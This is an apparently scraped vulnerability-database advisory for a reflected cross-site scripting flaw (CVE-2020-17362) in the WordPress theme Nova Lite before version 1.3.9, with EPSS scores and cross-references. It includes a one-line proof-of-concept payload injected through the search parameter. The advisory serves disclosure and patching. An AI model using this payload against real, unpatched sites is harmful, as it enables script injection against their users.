Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbWpvulndbWPVDB-ID:30A83491-2F59-4C41-98BD-A9E6E5A609D4
HistoryAug 13, 2020 - 12:00 a.m.

Nova Lite < 1.3.9 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2020-08-1300:00:00
wpscan.com
6

0.001 Low

EPSS

Percentile

42.0%

JSON

The theme did not properly sanitise the search query, leading to an unauthenticated reflected Cross-Site Scripting issue

PoC

/?s=%3Cimg%20src%20onerror=alert(/XSS/)%3E

CPENameOperatorVersion
nova-litelt1.3.9

Related

prion 1
wpexploit 1
patchstack 1
nuclei 1
nvd 1
cve 1
cvelist 1
prion
prion
Cross site scripting
2020-08-12 22:15:00
wpexploit
wpexploit
Nova Lite < 1.3.9 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2020-08-13 00:00:00
patchstack
patchstack
WordPress Nova Lite theme <= 1.3.8 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability
2020-08-13 00:00:00
nuclei
nuclei
Nova Lite < 1.3.9 - Cross-Site Scripting
2021-07-15 11:14:59
nvd
nvd
CVE-2020-17362
2020-08-12 22:15:12
cve
cve
CVE-2020-17362
2020-08-12 22:15:12
cvelist
cvelist
CVE-2020-17362
2020-08-12 21:16:33

0.001 Low

EPSS

Percentile

42.0%

JSON
Related for WPVDB-ID:30A83491-2F59-4C41-98BD-A9E6E5A609D4
prion1wpexploit1patchstack1nuclei1nvd1cve1cvelist1